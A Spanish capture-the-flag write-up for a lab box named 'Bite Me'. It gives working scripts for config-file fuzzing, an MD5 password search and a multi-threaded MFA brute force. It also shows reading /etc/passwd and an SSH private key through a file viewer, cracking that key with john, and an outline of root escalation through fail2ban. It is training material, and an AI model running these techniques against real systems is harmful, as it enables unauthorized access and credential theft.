Bite Me

10.10.31.72 Linux Media

Enumeración

Nmap

sudo nmap -sV -Pn 10.10.31.72

Resultado:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Características detectadas:

Puerto 22: Servidor OpenSSH (7.6p1)
Puerto 80: Servidor Web Apache (2.4.29)

Acceso al portal web (Puerto 80)

Figura 1: Acceso al portal web (Puerto 80)

Enumeración de directorios web

gobuster dir -u http://10.10.31.72 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 30

Figura 2: Enumeación con Gobuster

Descubrimos un panel de login en /console

http://10.10.31.72/console/securimage/

Probamos de nuevo el descubrimiento de directorios sobre /console

gobuster dir -u http://10.10.31.72/console -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 30

Figura 3: Enumeación con Gobuster sobre /console

En securimage encontramos un directorio abierto con información sobre plugin del captcha que utiliza en PHP.

http://10.10.31.72/console/securimage/

Figura 4: Acceso a http://10.10.31.72/console/securimage/

Encontramos también un archivo words.txt en:

http://10.10.31.72/console/securimage/words/words.txt

Figura 5: Archivo words.txt

Fuzzing de configuraciones

Sabiendo que existen archivos PHP de configuración podemos intentar forzar para descubrir algunas configuraciones. Para ello usaremos un script:

Script fuzzing_web.py


                        #!/usr/bin/env python3
                        import requests
                        import sys

                        def fuzz_configs(url):
                            potential_configs = [
                                "config.php", "config.phps", "config.bak",
                                "db_config.php", "settings.php", "wp-config.php"
                            ]
                            print(f"Fuzzing en: {url}\n")
                            for conf in potential_configs:
                                full_url = f"{url.strip('/')}/{conf}"
                                try:
                                    r = requests.get(full_url, timeout=5)
                                    if r.status_code not in [404, 400, 405]:
                                        print(f"[{r.status_code}] {full_url}")
                                except:
                                    continue

                        if __name__ == "__main__":
                            fuzz_configs(sys.argv[1])

Lo ejecutamos pasandole por parámetro la URL objetivo

python3 fuzzing_web.py http://10.10.31.72/console

Figura 6: Resultados de fuzzing_web.py

En config.phps encontramos un string en hexadecimal que al decodificarlo nos muestra un nombre de usuario:

6a6173676e5f746573745f6163636f756e74 → jason_test_account

Figura 7: Acceso a config.phps

En functions.phps encontramos cómo se valida la contraseña:

La válida cuando el hash MD5 termine en '001'

Figura 8: Acceso a functions.phps

Explotación

Encontrar contraseña válida

Sabiendo esto y teniendo la lista words.txt que encontramos antes podemos intentar ver cual de los hashes es el correcto.

Debemos crear una wordlist.txt con las palabras de http://10.10.31.72/console/securimage/words/words.txt

Figura 9: Creación de la word.txt

Ahora crearemos un script hashes.sh para encontrar contraseñas cuyo hash MD5 termine en '001'

Script hashes.sh


                        #!/bin/bash

                        wordlist="wordlist.txt"

                        while IFS= read -r word; do
                            hash=$(echo -n "$word" | md5sum | awk '{print $1}')
                            if [[ $hash == *001 ]]; then
                                echo "The password is: $word"
                                break
                            fi
                        done < "$wordlist"

Lo ejecutamos:

sudo chmod +x hashes.sh

./hashes.sh

Figura 10: Resultados de hashes.sh

La contraseña es: braggy

Ahora que tenemos usuario y contraseña podemos autenticarnos en http://10.10.31.72/console/

Figura 11: Acceso al login

Bypass de autenticación MFA

Al acceder con las credenciales mencionadas anteriormente, veremos que tenemos un MFA activo.

Figura 12: MFA activo en el login

Mirando el código fuente de la web podemos ver la función con la que se maneja el submit del MFA.

Figura 13: Inspeccionando el codigo del MFA

Nos fijaremos en esta función:

Figura 14: Inspeccionando el codigo del MFA

Más concretamente en este apartado:

Figura 15: Texto interesante dentro de la funxión del MFA

Podremos ver un mensaje que dice ser necesario implementar mecanismos de seguridad para evitar el ataque de fuerza bruta, justo lo que vamos a aprovechar.

Como nos indica el mensaje la clave es de 4 dígitos, por ello crearemos un diccionario de claves con crunch

crunch 4 4 1234567890 > MFA.txt

Figura 16: Uso de crunch

Capturamos con Burp Suite la petición de mandar el 2FA

Figura 17: Captura de la petición de login + MFA con Burp Suite

Ahora para hacer el brute forcing con Burp Suite va a tardar demasiado así que usaremos el siguiente script:

Script hashes.sh


                        #!/bin/bash

                        TARGET="http://10.10.31.72/console/mfa.php"
                        COOKIE="PHPSESSID=38foerd2ev0ekkvib75uv13484; user=jason_test_account; pwd=braggy"
                        WORDLIST="MFA.txt"
                        THREADS=25 # Puedes subirlo si el servidor aguanta

                        echo "[+] Bruteforce iniciado... solo se mostrará el código correcto."

                        cat "$WORDLIST" | xargs -P "$THREADS" -I {} bash -c '
                            CODE={}
                            RESPONSE=$(curl -s -X POST "'"$TARGET"'" \
                                -d "code=$CODE" \
                                -H "Content-Type: application/x-www-form-urlencoded" \
                                -H "Cookie: '"$COOKIE"'" \
                                -H "Referer: '"$TARGET"'" \
                                -H "User-Agent: Mozilla/5.0")
                                
                            if ! echo "$RESPONSE" | grep -q "Incorrect code"; then
                                echo "[✔] Código correcto encontrado: $CODE"
                                pkill -P $$ curl 2>/dev/null
                                kill $$ 2>/dev/null
                            fi
                        '

Ahora lo ejecutamos:

sudo chmod +x bruteforce.sh

./bruteforce.sh

Figura 18: Resultados de hashes.sh

Con este código podremos acceder al panel

Acceso al panel

Con las credenciales jason_test_account:braggy y el código MFA 2573 accedemos al panel.

Figura 19: Acceso al ligin con credenciales y MFA válido

Veremos un panel para buscar y visualizar archivos

Figura 20: Acceso a la web

File viewer

Podemos ver archivos del sistema como /etc/passwd

Figura 21: Visualizar el /etc/passwd

Si probamos por ejemplo a hacer un dir podremos ver que utiliza la función scandir para listar los archivos y directorios

Figura 22: Uso de la función scandir

User Flag

Desde aquí ya podemos ver la flag de usuario

/home/jason

Figura 23: Listar ficheros

/home/jason/user.txt

Figura 24: User Flag

Acceso SSH

Buscamos claves ssh en el sistema.

la clave SSH en /home/jason/.ssh/id_rsa

/home/jason/.ssh/id_rsa

Figura 25: Clave RSA para acceso SSH

Pegamos esta clave en un archivo y como se encuentra encriptada utilizamos el siguiente comando para descifrarla

Figura 26: Clave RSA

ssh2john claveRSA > jasonkey

john jasonkey --wordlist=/usr/share/wordlists/rockyou.txt

Figura 27: Descifrado de la clave RSA

Ahora damos permisos al archivo y tendremos acceso al sistema por SSH.

sudo chmod +x claveRSA

ssh -i claveRSA jason@10.10.31.72

Figura 28: Acceso por SSH

Escalada de Privilegios

sudo -l

Figura 29: Visualización de permisos

Como vemos en el comando sudo -l el usuario:

(ALL : ALL) ALL Puedes ejecutar cualquier comando como root, si sabemos la contraseña de jason.

(fred) NOPASSWD: ALL Puedes ejecutar cualquier comando como el usuario fred sin contraseña.

Por lo tanto vamos a pasar al usuario fred.

sudo -s -u fred

Figura 30: Cambio al usuario fred

Ahora veremos los privilegios que cuanta el usuario fred

sudo -l

Figura 31: Permisos del usuario fred

Podemos reiniciar el servicio fail2ban como root sin contraseña.

"Fail to ban client" es un servicio que protege servidores bloqueando automáticamente direcciones IP que muestran actividad sospechosa

Si podemos editar archivos de configuración de fail2ban, podemos insertar comandos maliciosos. Como fail2ban ejecuta esas acciones como root, al activarse (por ejemplo con varios intentos fallidos de login), se ejecutaría nuestro comando con privilegios de administrador.